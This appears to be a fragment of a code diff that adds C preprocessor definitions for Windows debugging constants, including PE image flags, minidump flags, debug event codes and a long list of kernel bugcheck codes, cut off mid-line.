+#define CONTEXT_EXCEPTION_REQUEST_ARM 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_ARM 0x80000000 +#define CONTEXT_UNWOUND_TO_CALL_ARM 0x20000000 +#define WCT_OUT_OF_PROC_COM_FLAG 0x2 +#define WCT_OUT_OF_PROC_CS_FLAG 0x4 +#define WCT_OUT_OF_PROC_FLAG 0x1 +#define SEM_ALL_ERRORS 0x0 +#define SEM_FAILCRITICALERRORS 0x1 +#define SEM_NOGPFAULTERRORBOX 0x2 +#define SEM_NOOPENFILEERRORBOX 0x8000 +#define SEM_NOALIGNMENTFAULTEXCEPT 0x4 +#define VER_PLATFORM_WIN32s 0x0 +#define VER_PLATFORM_WIN32_WINDOWS 0x1 +#define VER_PLATFORM_WIN32_NT 0x2 +#define IMAGE_FILE_RELOCS_STRIPPED2 0x1 +#define IMAGE_FILE_EXECUTABLE_IMAGE2 0x2 +#define IMAGE_FILE_LINE_NUMS_STRIPPED2 0x4 +#define IMAGE_FILE_LOCAL_SYMS_STRIPPED2 0x8 +#define IMAGE_FILE_AGGRESIVE_WS_TRIM2 0x10 +#define IMAGE_FILE_LARGE_ADDRESS_AWARE2 0x20 +#define IMAGE_FILE_BYTES_REVERSED_LO2 0x80 +#define IMAGE_FILE_32BIT_MACHINE2 0x100 +#define IMAGE_FILE_DEBUG_STRIPPED2 0x200 +#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP2 0x400 +#define IMAGE_FILE_NET_RUN_FROM_SWAP2 0x800 +#define IMAGE_FILE_SYSTEM_2 0x1000 +#define IMAGE_FILE_DLL_2 0x2000 +#define IMAGE_FILE_UP_SYSTEM_ONLY_2 0x4000 +#define IMAGE_FILE_BYTES_REVERSED_HI_2 0x8000 +#define MiniSecondaryWithoutPowerInfo 1 +#define MiniSecondaryValidFlags 1 +#define SYMSTOREOPT_COMPRESS 0x1 +#define SYMSTOREOPT_OVERWRITE 0x2 +#define SYMSTOREOPT_PASS_IF_EXISTS 0x40 +#define SYMSTOREOPT_POINTER 0x8 +#define SYMSTOREOPT_RETURNINDEX 0x4 +#define IpmiOsSelRecordTypeWhea 0 +#define IpmiOsSelRecordTypeOther 1 +#define IpmiOsSelRecordTypeWheaErrorXpfMca 2 +#define IpmiOsSelRecordTypeWheaErrorPci 3 +#define IpmiOsSelRecordTypeWheaErrorNmi 4 +#define IpmiOsSelRecordTypeWheaErrorOther 5 +#define IpmiOsSelRecordTypeRaw 6 +#define IpmiOsSelRecordTypeDriver 7 +#define IpmiOsSelRecordTypeBugcheckRecovery 8 +#define IpmiOsSelRecordTypeBugcheckData 9 +#define IpmiOsSelRecordTypeMax 10 +#define BindOutOfMemory 0 +#define BindRvaToVaFailed 1 +#define BindNoRoomInImage 2 +#define BindImportModuleFailed 3 +#define BindImportProcedureFailed 4 +#define BindImportModule 5 +#define BindImportProcedure 6 +#define BindForwarder 7 +#define BindForwarderNOT 8 +#define BindImageModified 9 +#define BindExpandFileHeaders 10 +#define BindImageComplete 11 +#define BindMismatchedSymbols 12 +#define BindSymbolsNotUpdated 13 +#define BindImportProcedure32 14 +#define BindImportProcedure64 15 +#define BindForwarder32 16 +#define BindForwarder64 17 +#define BindForwarderNOT32 18 +#define BindForwarderNOT64 19 +#define MINIDUMP_THREAD_INFO_ERROR_THREAD 0x1 +#define MINIDUMP_THREAD_INFO_EXITED_THREAD 0x4 +#define MINIDUMP_THREAD_INFO_INVALID_CONTEXT 0x10 +#define MINIDUMP_THREAD_INFO_INVALID_INFO 0x8 +#define MINIDUMP_THREAD_INFO_INVALID_TEB 0x20 +#define MINIDUMP_THREAD_INFO_WRITING_THREAD 0x2 +#define ModuleWriteModule 1 +#define ModuleWriteDataSeg 2 +#define ModuleWriteMiscRecord 4 +#define ModuleWriteCvRecord 8 +#define ModuleReferencedByMemory 16 +#define ModuleWriteTlsData 32 +#define ModuleWriteCodeSegs 64 +#define sfImage 0 +#define sfDbg 1 +#define sfPdb 2 +#define sfMpd 3 +#define sfMax 4 +#define CREATE_PROCESS_DEBUG_EVENT 0x3 +#define CREATE_THREAD_DEBUG_EVENT 0x2 +#define EXCEPTION_DEBUG_EVENT 0x1 +#define EXIT_PROCESS_DEBUG_EVENT 0x5 +#define EXIT_THREAD_DEBUG_EVENT 0x4 +#define LOAD_DLL_DEBUG_EVENT 0x6 +#define OUTPUT_DEBUG_STRING_EVENT 0x8 +#define RIP_EVENT 0x9 +#define UNLOAD_DLL_DEBUG_EVENT 0x7 +#define IMAGE_FILE_RELOCS_STRIPPED 0x1 +#define IMAGE_FILE_EXECUTABLE_IMAGE 0x2 +#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x4 +#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x8 +#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x10 +#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x20 +#define IMAGE_FILE_BYTES_REVERSED_LO 0x80 +#define IMAGE_FILE_32BIT_MACHINE 0x100 +#define IMAGE_FILE_DEBUG_STRIPPED 0x200 +#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x400 +#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x800 +#define IMAGE_FILE_SYSTEM 0x1000 +#define IMAGE_FILE_DLL 0x2000 +#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 +#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 +#define WheaErrSrcTypeMCE 0 +#define WheaErrSrcTypeCMC 1 +#define WheaErrSrcTypeCPE 2 +#define WheaErrSrcTypeNMI 3 +#define WheaErrSrcTypePCIe 4 +#define WheaErrSrcTypeGeneric 5 +#define WheaErrSrcTypeINIT 6 +#define WheaErrSrcTypeBOOT 7 +#define WheaErrSrcTypeSCIGeneric 8 +#define WheaErrSrcTypeIPFMCA 9 +#define WheaErrSrcTypeIPFCMC 10 +#define WheaErrSrcTypeIPFCPE 11 +#define WheaErrSrcTypeGenericV2 12 +#define WheaErrSrcTypeSCIGenericV2 13 +#define WheaErrSrcTypeBMC 14 +#define WheaErrSrcTypePMEM 15 +#define WheaErrSrcTypeDeviceDriver 16 +#define WheaErrSrcTypeSea 17 +#define WheaErrSrcTypeSei 18 +#define WheaErrSrcTypeMax 19 +#define AddrMode1616 0 +#define AddrMode1632 1 +#define AddrModeReal 2 +#define AddrModeFlat 3 +#define hdBase 0 +#define hdSym 1 +#define hdSrc 2 +#define hdMax 3 +#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 0x7 +#define IMAGE_DIRECTORY_ENTRY_BASERELOC 0x5 +#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0xb +#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0xe +#define IMAGE_DIRECTORY_ENTRY_DEBUG 0x6 +#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0xd +#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x3 +#define IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 +#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x8 +#define IMAGE_DIRECTORY_ENTRY_IAT 0xc +#define IMAGE_DIRECTORY_ENTRY_IMPORT 0x1 +#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0xa +#define IMAGE_DIRECTORY_ENTRY_RESOURCE 0x2 +#define IMAGE_DIRECTORY_ENTRY_SECURITY 0x4 +#define IMAGE_DIRECTORY_ENTRY_TLS 0x9 +#define WCT_ASYNC_OPEN_FLAG 0x1 +#define SSRVOPT_DWORD 0x2 +#define SSRVOPT_DWORDPTR 0x4 +#define SSRVOPT_GUIDPTR 0x8 +#define HARDWARE_PROFILE_UNDOCKED_STRING 0x40010001 +#define HARDWARE_PROFILE_DOCKED_STRING 0x40010002 +#define HARDWARE_PROFILE_UNKNOWN_STRING 0x40010003 +#define WINDOWS_NT_BANNER 0x4000007e +#define WINDOWS_NT_CSD_STRING 0x40000087 +#define WINDOWS_NT_INFO_STRING 0x40000088 +#define WINDOWS_NT_MP_STRING 0x40000089 +#define THREAD_TERMINATE_HELD_MUTEX 0x4000008a +#define WINDOWS_NT_INFO_STRING_PLURAL 0x4000009d +#define WINDOWS_NT_RC_STRING 0x4000009e +#define APC_INDEX_MISMATCH 0x1 +#define DEVICE_QUEUE_NOT_BUSY 0x2 +#define INVALID_AFFINITY_SET 0x3 +#define INVALID_DATA_ACCESS_TRAP 0x4 +#define INVALID_PROCESS_ATTACH_ATTEMPT 0x5 +#define INVALID_PROCESS_DETACH_ATTEMPT 0x6 +#define INVALID_SOFTWARE_INTERRUPT 0x7 +#define IRQL_NOT_DISPATCH_LEVEL 0x8 +#define IRQL_NOT_GREATER_OR_EQUAL 0x9 +#define IRQL_NOT_LESS_OR_EQUAL 0xa +#define NO_EXCEPTION_HANDLING_SUPPORT 0xb +#define MAXIMUM_WAIT_OBJECTS_EXCEEDED 0xc +#define MUTEX_LEVEL_NUMBER_VIOLATION 0xd +#define NO_USER_MODE_CONTEXT 0xe +#define SPIN_LOCK_ALREADY_OWNED 0xf +#define SPIN_LOCK_NOT_OWNED 0x10 +#define THREAD_NOT_MUTEX_OWNER 0x11 +#define TRAP_CAUSE_UNKNOWN 0x12 +#define EMPTY_THREAD_REAPER_LIST 0x13 +#define CREATE_DELETE_LOCK_NOT_LOCKED 0x14 +#define LAST_CHANCE_CALLED_FROM_KMODE 0x15 +#define CID_HANDLE_CREATION 0x16 +#define CID_HANDLE_DELETION 0x17 +#define REFERENCE_BY_POINTER 0x18 +#define BAD_POOL_HEADER 0x19 +#define MEMORY_MANAGEMENT 0x1a +#define PFN_SHARE_COUNT 0x1b +#define PFN_REFERENCE_COUNT 0x1c +#define NO_SPIN_LOCK_AVAILABLE 0x1d +#define KMODE_EXCEPTION_NOT_HANDLED 0x1e +#define SHARED_RESOURCE_CONV_ERROR 0x1f +#define KERNEL_APC_PENDING_DURING_EXIT 0x20 +#define QUOTA_UNDERFLOW 0x21 +#define FILE_SYSTEM 0x22 +#define FAT_FILE_SYSTEM 0x23 +#define NTFS_FILE_SYSTEM 0x24 +#define NPFS_FILE_SYSTEM 0x25 +#define CDFS_FILE_SYSTEM 0x26 +#define RDR_FILE_SYSTEM 0x27 +#define CORRUPT_ACCESS_TOKEN 0x28 +#define SECURITY_SYSTEM 0x29 +#define INCONSISTENT_IRP 0x2a +#define PANIC_STACK_SWITCH 0x2b +#define PORT_DRIVER_INTERNAL 0x2c +#define SCSI_DISK_DRIVER_INTERNAL 0x2d +#define DATA_BUS_ERROR 0x2e +#define INSTRUCTION_BUS_ERROR 0x2f +#define SET_OF_INVALID_CONTEXT 0x30 +#define PHASE0_INITIALIZATION_FAILED 0x31 +#define PHASE1_INITIALIZATION_FAILED 0x32 +#define UNEXPECTED_INITIALIZATION_CALL 0x33 +#define CACHE_MANAGER 0x34 +#define NO_MORE_IRP_STACK_LOCATIONS 0x35 +#define DEVICE_REFERENCE_COUNT_NOT_ZERO 0x36 +#define FLOPPY_INTERNAL_ERROR 0x37 +#define SERIAL_DRIVER_INTERNAL 0x38 +#define SYSTEM_EXIT_OWNED_MUTEX 0x39 +#define SYSTEM_UNWIND_PREVIOUS_USER 0x3a +#define SYSTEM_SERVICE_EXCEPTION 0x3b +#define INTERRUPT_UNWIND_ATTEMPTED 0x3c +#define INTERRUPT_EXCEPTION_NOT_HANDLED 0x3d +#define MULTIPROCESSOR_CONFIGURATION_NOT_SUPPORTED 0x3e +#define NO_MORE_SYSTEM_PTES 0x3f +#define TARGET_MDL_TOO_SMALL 0x40 +#define MUST_SUCCEED_POOL_EMPTY 0x41 +#define ATDISK_DRIVER_INTERNAL 0x42 +#define NO_SUCH_PARTITION 0x43 +#define MULTIPLE_IRP_COMPLETE_REQUESTS 0x44 +#define INSUFFICIENT_SYSTEM_MAP_REGS 0x45 +#define DEREF_UNKNOWN_LOGON_SESSION 0x46 +#define REF_UNKNOWN_LOGON_SESSION 0x47 +#define CANCEL_STATE_IN_COMPLETED_IRP 0x48 +#define PAGE_FAULT_WITH_INTERRUPTS_OFF 0x49 +#define IRQL_GT_ZERO_AT_SYSTEM_SERVICE 0x4a +#define STREAMS_INTERNAL_ERROR 0x4b +#define FATAL_UNHANDLED_HARD_ERROR 0x4c +#define NO_PAGES_AVAILABLE 0x4d +#define PFN_LIST_CORRUPT 0x4e +#define NDIS_INTERNAL_ERROR 0x4f +#define PAGE_FAULT_IN_NONPAGED_AREA 0x50 +#define PAGE_FAULT_IN_NONPAGED_AREA_M 0x10000050 +#define REGISTRY_ERROR 0x51 +#define MAILSLOT_FILE_SYSTEM 0x52 +#define NO_BOOT_DEVICE 0x53 +#define LM_SERVER_INTERNAL_ERROR 0x54 +#define DATA_COHERENCY_EXCEPTION 0x55 +#define INSTRUCTION_COHERENCY_EXCEPTION 0x56 +#define XNS_INTERNAL_ERROR 0x57 +#define VOLMGRX_INTERNAL_ERROR 0x58 +#define PINBALL_FILE_SYSTEM 0x59 +#define CRITICAL_SERVICE_FAILED 0x5a +#define SET_ENV_VAR_FAILED 0x5b +#define HAL_INITIALIZATION_FAILED 0x5c +#define UNSUPPORTED_PROCESSOR 0x5d +#define OBJECT_INITIALIZATION_FAILED 0x5e +#define SECURITY_INITIALIZATION_FAILED 0x5f +#define PROCESS_INITIALIZATION_FAILED 0x60 +#define HAL1_INITIALIZATION_FAILED 0x61 +#define OBJECT1_INITIALIZATION_FAILED 0x62 +#define SECURITY1_INITIALIZATION_FAILED 0x63 +#define SYMBOLIC_INITIALIZATION_FAILED 0x64 +#define MEMORY1_INITIALIZATION_FAILED 0x65 +#define CACHE_INITIALIZATION_FAILED 0x66 +#define CONFIG_INITIALIZATION_FAILED 0x67 +#define FILE_INITIALIZATION_FAILED 0x68 +#define IO1_INITIALIZATION_FAILED 0x69 +#define LPC_INITIALIZATION_FAILED 0x6a +#define PROCESS1_INITIALIZATION_FAILED 0x6b +#define REFMON_INITIALIZATION_FAILED 0x6c +#define SESSION1_INITIALIZATION_FAILED 0x6d +#define BOOTPROC_INITIALIZATION_FAILED 0x6e +#define VSL_INITIALIZATION_FAILED 0x6f +#define SOFT_RESTART_FATAL_ERROR 0x70 +#define ASSIGN_DRIVE_LETTERS_FAILED 0x72 +#define CONFIG_LIST_FAILED 0x73 +#define BAD_SYSTEM_CONFIG_INFO 0x74 +#define CANNOT_WRITE_CONFIGURATION 0x75 +#define PROCESS_HAS_LOCKED_PAGES 0x76 +#define KERNEL_STACK_INPAGE_ERROR 0x77 +#define PHASE0_EXCEPTION 0x78 +#define MISMATCHED_HAL 0x79 +#define KERNEL_DATA_INPAGE_ERROR 0x7a +#define INACCESSIBLE_BOOT_DEVICE 0x7b +#define BUGCODE_NDIS_DRIVER 0x7c +#define INSTALL_MORE_MEMORY 0x7d +#define SYSTEM_THREAD_EXCEPTION_NOT_HANDLED 0x7e +#define SYSTEM_THREAD_EXCEPTION_NOT_HANDLED_M 0x1000007e +#define UNEXPECTED_KERNEL_MODE_TRAP 0x7f +#define UNEXPECTED_KERNEL_MODE_TRAP_M 0x1000007f +#define NMI_HARDWARE_FAILURE 0x80 +#define SPIN_LOCK_INIT_FAILURE 0x81 +#define DFS_FILE_SYSTEM 0x82 +#define OFS_FILE_SYSTEM 0x83 +#define RECOM_DRIVER 0x84 +#define SETUP_FAILURE 0x85 +#define AUDIT_FAILURE 0x86 +#define MBR_CHECKSUM_MISMATCH 0x8b +#define KERNEL_MODE_EXCEPTION_NOT_HANDLED 0x8e +#define KERNEL_MODE_EXCEPTION_NOT_HANDLED_M 0x1000008e +#define PP0_INITIALIZATION_FAILED 0x8f +#define PP1_INITIALIZATION_FAILED 0x90 +#define WIN32K_INIT_OR_RIT_FAILURE 0x91 +#define UP_DRIVER_ON_MP_SYSTEM 0x92 +#define INVALID_KERNEL_HANDLE 0x93 +#define KERNEL_STACK_LOCKED_AT_EXIT 0x94 +#define PNP_INTERNAL_ERROR 0x95 +#define INVALID_WORK_QUEUE_ITEM 0x96 +#define BOUND_IMAGE_UNSUPPORTED 0x97 +#define END_OF_NT_EVALUATION_PERIOD 0x98 +#define INVALID_REGION_OR_SEGMENT 0x99 +#define SYSTEM_LICENSE_VIOLATION 0x9a +#define UDFS_FILE_SYSTEM 0x9b +#define MACHINE_CHECK_EXCEPTION 0x9c +#define USER_MODE_HEALTH_MONITOR 0x9e +#define DRIVER_POWER_STATE_FAILURE 0x9f +#define INTERNAL_POWER_ERROR 0xa0 +#define PCI_BUS_DRIVER_INTERNAL 0xa1 +#define MEMORY_IMAGE_CORRUPT 0xa2 +#define ACPI_DRIVER_INTERNAL 0xa3 +#define CNSS_FILE_SYSTEM_FILTER 0xa4 +#define ACPI_BIOS_ERROR 0xa5 +#define FP_EMULATION_ERROR 0xa6 +#define BAD_EXHANDLE 0xa7 +#define BOOTING_IN_SAFEMODE_MINIMAL 0xa8 +#define BOOTING_IN_SAFEMODE_NETWORK 0xa9 +#define BOOTING_IN_SAFEMODE_DSREPAIR 0xaa +#define SESSION_HAS_VALID_POOL_ON_EXIT 0xab +#define HAL_MEMORY_ALLOCATION 0xac +#define VIDEO_DRIVER_DEBUG_REPORT_REQUEST 0x400000ad +#define BGI_DETECTED_VIOLATION 0xb1 +#define VIDEO_DRIVER_INIT_FAILURE 0xb4 +#define BOOTLOG_LOADED 0xb5 +#define BOOTLOG_NOT_LOADED 0xb6 +#define BOOTLOG_ENABLED 0xb7 +#define ATTEMPTED_SWITCH_FROM_DPC 0xb8 +#define CHIPSET_DETECTED_ERROR 0xb9 +#define SESSION_HAS_VALID_VIEWS_ON_EXIT 0xba +#define NETWORK_BOOT_INITIALIZATION_FAILED 0xbb +#define NETWORK_BOOT_DUPLICATE_ADDRESS 0xbc +#define INVALID_HIBERNATED_STATE 0xbd +#define ATTEMPTED_WRITE_TO_READONLY_MEMORY 0xbe +#define MUTEX_ALREADY_OWNED 0xbf +#define PCI_CONFIG_SPACE_ACCESS_FAILURE 0xc0 +#define SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION 0xc1 +#define BAD_POOL_CALLER 0xc2 +#define SYSTEM_IMAGE_BAD_SIGNATURE 0xc3 +#define DRIVER_VERIFIER_DETECTED_VIOLATION 0xc4 +#define DRIVER_CORRUPTED_EXPOOL 0xc5 +#define DRIVER_CAUGHT_MODIFYING_FREED_POOL 0xc6 +#define TIMER_OR_DPC_INVALID 0xc7 +#define IRQL_UNEXPECTED_VALUE 0xc8 +#define DRIVER_VERIFIER_IOMANAGER_VIOLATION 0xc9 +#define PNP_DETECTED_FATAL_ERROR 0xca +#define DRIVER_LEFT_LOCKED_PAGES_IN_PROCESS 0xcb +#define PAGE_FAULT_IN_FREED_SPECIAL_POOL 0xcc +#define PAGE_FAULT_BEYOND_END_OF_ALLOCATION 0xcd +#define DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS 0xce +#define TERMINAL_SERVER_DRIVER_MADE_INCORRECT_MEMORY_REFERENCE 0xcf +#define DRIVER_CORRUPTED_MMPOOL 0xd0 +#define DRIVER_IRQL_NOT_LESS_OR_EQUAL 0xd1 +#define BUGCODE_ID_DRIVER 0xd2 +#define DRIVER_PORTION_MUST_BE_NONPAGED 0xd3 +#define SYSTEM_SCAN_AT_RAISED_IRQL_CAUGHT_IMPROPER_DRIVER_UNLOAD 0xd4 +#define DRIVER_PAGE_FAULT_IN_FREED_SPECIAL_POOL 0xd5 +#define DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION 0xd6 +#define DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION_M 0x100000d6 +#define DRIVER_UNMAPPING_INVALID_VIEW 0xd7 +#define DRIVER_USED_EXCESSIVE_PTES 0xd8 +#define LOCKED_PAGES_TRACKER_CORRUPTION 0xd9 +#define SYSTEM_PTE_MISUSE 0xda +#define DRIVER_CORRUPTED_SYSPTES 0xdb +#define DRIVER_INVALID_STACK_ACCESS 0xdc +#define POOL_CORRUPTION_IN_FILE_AREA 0xde +#define IMPERSONATING_WORKER_THREAD 0xdf +#define ACPI_BIOS_FATAL_ERROR 0xe0 +#define WORKER_THREAD_RETURNED_AT_BAD_IRQL 0xe1 +#define MANUALLY_INITIATED_CRASH 0xe2 +#define RESOURCE_NOT_OWNED 0xe3 +#define WORKER_INVALID 0xe4 +#define POWER_FAILURE_SIMULATE 0xe5 +#define DRIVER_VERIFIER_DMA_VIOLATION 0xe6 +#define INVALID_FLOATING_POINT_STATE 0xe7 +#define INVALID_CANCEL_OF_FILE_OPEN 0xe8 +#define ACTIVE_EX_WORKER_THREAD_TERMINATION 0xe9 +#define SAVER_UNSPECIFIED 0xf000 +#define SAVER_BLANKSCREEN 0xf002 +#define SAVER_INPUT 0xf003 +#define SAVER_WATCHDOG 0xf004 +#define SAVER_STARTNOTVISIBLE 0xf005 +#define SAVER_NAVIGATIONMODEL 0xf006 +#define SAVER_OUTOFMEMORY 0xf007 +#define SAVER_GRAPHICS 0xf008 +#define SAVER_NAVSERVERTIMEOUT 0xf009 +#define SAVER_CHROMEPROCESSCRASH 0xf00a +#define SAVER_NOTIFICATIONDISMISSAL 0xf00b +#define SAVER_SPEECHDISMISSAL 0xf00c +#define SAVER_CALLDISMISSAL 0xf00d +#define SAVER_APPBARDISMISSAL 0xf00e +#define SAVER_RILADAPTATIONCRASH 0xf00f +#define SAVER_APPLISTUNREACHABLE 0xf010 +#define SAVER_REPORTNOTIFICATIONFAILURE 0xf011 +#define SAVER_UNEXPECTEDSHUTDOWN 0xf012 +#define SAVER_RPCFAILURE 0xf013 +#define SAVER_AUXILIARYFULLDUMP 0xf014 +#define SAVER_ACCOUNTPROVSVCINITFAILURE 0xf015 +#define SAVER_MTBFCOMMANDTIMEOUT 0x315 +#define SAVER_MTBFCOMMANDHANG 0xf101 +#define SAVER_MTBFPASSBUGCHECK 0xf102 +#define SAVER_MTBFIOERROR 0xf103 +#define SAVER_RENDERTHREADHANG 0xf200 +#define SAVER_RENDERMOBILEUIOOM 0xf201 +#define SAVER_DEVICEUPDATEUNSPECIFIED 0xf300 +#define SAVER_AUDIODRIVERHANG 0xf400 +#define SAVER_BATTERYPULLOUT 0xf500 +#define SAVER_MEDIACORETESTHANG 0xf600 +#define SAVER_RESOURCEMANAGEMENT 0xf700 +#define SAVER_CAPTURESERVICE 0xf800 +#define SAVER_WAITFORSHELLREADY 0xf900 +#define SAVER_NONRESPONSIVEPROCESS 0x194 +#define SAVER_SICKAPPLICATION 0x8866 +#define THREAD_STUCK_IN_DEVICE_DRIVER 0xea +#define THREAD_STUCK_IN_DEVICE_DRIVER_M 0x100000ea +#define DIRTY_MAPPED_PAGES_CONGESTION 0xeb +#define SESSION_HAS_VALID_SPECIAL_POOL_ON_EXIT 0xec +#define UNMOUNTABLE_BOOT_VOLUME 0xed +#define CRITICAL_PROCESS_DIED 0xef +#define STORAGE_MINIPORT_ERROR 0xf0 +#define SCSI_VERIFIER_DETECTED_VIOLATION 0xf1 +#define HARDWARE_INTERRUPT_STORM 0xf2 +#define DISORDERLY_SHUTDOWN 0xf3 +#define CRITICAL_OBJECT_TERMINATION 0xf4 +#define FLTMGR_FILE_SYSTEM 0xf5 +#define PCI_VERIFIER_DETECTED_VIOLATION 0xf6 +#define DRIVER_OVERRAN_STACK_BUFFER 0xf7 +#define RAMDISK_BOOT_INITIALIZATION_FAILED 0xf8 +#define DRIVER_RETURNED_STATUS_REPARSE_FOR_VOLUME_OPEN 0xf9 +#define HTTP_DRIVER_CORRUPTED 0xfa +#define RECURSIVE_MACHINE_CHECK 0xfb +#define ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY 0xfc +#define DIRTY_NOWRITE_PAGES_CONGESTION 0xfd +#define BUGCODE_USB_DRIVER 0xfe +#define BC_BLUETOOTH_VERIFIER_FAULT 0xbfe +#define BC_BTHMINI_VERIFIER_FAULT 0xbff +#define RESERVE_QUEUE_OVERFLOW 0xff +#define LOADER_BLOCK_MISMATCH 0x100 +#define CLOCK_WATCHDOG_TIMEOUT 0x101 +#define DPC_WATCHDOG_TIMEOUT 0x102 +#define MUP_FILE_SYSTEM 0x103 +#define AGP_INVALID_ACCESS 0x104 +#define AGP_GART_CORRUPTION 0x105 +#define AGP_ILLEGALLY_REPROGRAMMED 0x106 +#define KERNEL_EXPAND_STACK_ACTIVE 0x107 +#define THIRD_PARTY_FILE_SYSTEM_FAILURE 0x108 +#define CRITICAL_STRUCTURE_CORRUPTION 0x109 +#define APP_TAGGING_INITIALIZATION_FAILED 0x10a +#define DFSC_FILE_SYSTEM 0x10b +#define FSRTL_EXTRA_CREATE_PARAMETER_VIOLATION 0x10c +#define WDF_VIOLATION 0x10d +#define VIDEO_MEMORY_MANAGEMENT_INTERNAL 0x10e +#define DRIVER_INVALID_CRUNTIME_PARAMETER 0x110 +#define RECURSIVE_NMI 0x111 +#define MSRPC_STATE_VIOLATION 0x112 +#define VIDEO_DXGKRNL_FATAL_ERROR 0x113 +#define VIDEO_SHADOW_DRIVER_FATAL_ERROR 0x114 +#define AGP_INTERNAL 0x115 +#define VIDEO_TDR_FAILURE 0x116 +#define VIDEO_TDR_TIMEOUT_DETECTED 0x117 +#define NTHV_GUEST_ERROR 0x118 +#define VIDEO_SCHEDULER_INTERNAL_ERROR 0x119 +#define EM_INITIALIZATION_ERROR 0x11a +#define DRIVER_RETURNED_HOLDING_CANCEL_LOCK 0x11b +#define ATTEMPTED_WRITE_TO_CM_PROTECTED_STORAGE 0x11c +#define EVENT_TRACING_FATAL_ERROR 0x11d +#define TOO_MANY_RECURSIVE_FAULTS 0x11e +#define INVALID_DRIVER_HANDLE 0x11f +#define BITLOCKER_FATAL_ERROR 0x120 +#define DRIVER_VIOLATION 0x121 +#define WHEA_INTERNAL_ERROR 0x122 +#define CRYPTO_SELF_TEST_FAILURE 0x123 +#define WHEA_UNCORRECTABLE_ERROR 0x124 +#define NMR_INVALID_STATE 0x125 +#define NETIO_INVALID_POOL_CALLER 0x126 +#define PAGE_NOT_ZERO 0x127 +#define WORKER_THREAD_RETURNED_WITH_BAD_IO_PRIORITY 0x128 +#define WORKER_THREAD_RETURNED_WITH_BAD_PAGING_IO_PRIORITY 0x129 +#define MUI_NO_VALID_SYSTEM_LANGUAGE 0x12a +#define FAULTY_HARDWARE_CORRUPTED_PAGE 0x12b +#define EXFAT_FILE_SYSTEM 0x12c +#define VOLSNAP_OVERLAPPED_TABLE_ACCESS 0x12d +#define INVALID_MDL_RANGE 0x12e +#define VHD_BOOT_INITIALIZATION_FAILED 0x12f +#define DYNAMIC_ADD_PROCESSOR_MISMATCH 0x130 +#define INVALID_EXTENDED_PROCESSOR_STATE 0x131 +#define RESOURCE_OWNER_POINTER_INVALID 0x132 +#define DPC_WATCHDOG_VIOLATION 0x133 +#define DRIVE_EXTENDER 0x134 +#define REGISTRY_FILTER_DRIVER_EXCEPTION 0x135 +#define VHD_BOOT_HOST_VOLUME_NOT_ENOUGH_SPACE 0x136 +#define WIN32K_HANDLE_MANAGER 0x137 +#define GPIO_CONTROLLER_DRIVER_ERROR 0x138 +#define KERNEL_SECURITY_CHECK_FAILURE 0x139 +#define KERNEL_MODE_HEAP_CORRUPTION 0x13a +#define PASSIVE_INTERRUPT_ERROR 0x13b +#define INVALID_IO_BOOST_STATE 0x13c +#define CRITICAL_INITIALIZATION_FAILURE 0x13d +#define ERRATA_WORKAROUND_UNSUCCESSFUL 0x13e +#define REGISTRY_CALLBACK_DRIVER_EXCEPTION 0x13f +#define STORAGE_DEVICE_ABNORMALITY_DETECTED 0x140 +#define VIDEO_ENGINE_TIMEOUT_DETECTED 0x141 +#define VIDEO_TDR_APPLICATION_BLOCKED 0x142 +#define PROCESSOR_DRIVER_INTERNAL 0x143 +#define BUGCODE_USB3_DRIVER 0x144 +#define SECURE_BOOT_VIOLATION 0x145 +#define NDIS_NET_BUFFER_LIST_INFO_ILLEGALLY_TRANSFERRED 0x146 +#define ABNORMAL_RESET_DETECTED 0x147 +#define IO_OBJECT_INVALID 0x148 +#define REFS_FILE_SYSTEM 0x149 +#define KERNEL_WMI_INTERNAL 0x14a +#define SOC_SUBSYSTEM_FAILURE 0x14b +#define FATAL_ABNORMAL_RESET_ERROR 0x14c +#define EXCEPTION_SCOPE_INVALID 0x14d +#define SOC_CRITICAL_DEVICE_REMOVED 0x14e +#define PDC_WATCHDOG_TIMEOUT 0x14f +#define TCPIP_AOAC_NIC_ACTIVE_REFERENCE_LEAK 0x150 +#define UNSUPPORTED_INSTRUCTION_MODE 0x151 +#define INVALID_PUSH_LOCK_FLAGS 0x152 +#define KERNEL_LOCK_ENTRY_LEAKED_ON_THREAD_TERMINATION 0x153 +#define UNEXPECTED_STORE_EXCEPTION 0x154 +#define OS_DATA_TAMPERING 0x155 +#define WINSOCK_DETECTED_HUNG_CLOSESOCKET_LIVEDUMP 0x156 +#define KERNEL_THREAD_PRIORITY_FLOOR_VIOLATION 0x157 +#define ILLEGAL_IOMMU_PAGE_FAULT 0x158 +#define HAL_ILLEGAL_IOMMU_PAGE_FAULT 0x159 +#define SDBUS_INTERNAL_ERROR 0x15a +#define WORKER_THREAD_RETURNED_WITH_SYSTEM_PAGE_PRIORITY_ACTIVE 0x15b +#define PDC_WATCHDOG_TIMEOUT_LIVEDUMP 0x15c +#define SOC_SUBSYSTEM_FAILURE_LIVEDUMP 0x15d +#define BUGCODE_NDIS_DRIVER_LIVE_DUMP 0x15e +#define CONNECTED_STANDBY_WATCHDOG_TIMEOUT_LIVEDUMP 0x15f +#define WIN32K_ATOMIC_CHECK_FAILURE 0x160 +#define LIVE_SYSTEM_DUMP 0x161 +#define KERNEL_AUTO_BOOST_INVALID_LOCK_RELEASE 0x162 +#define 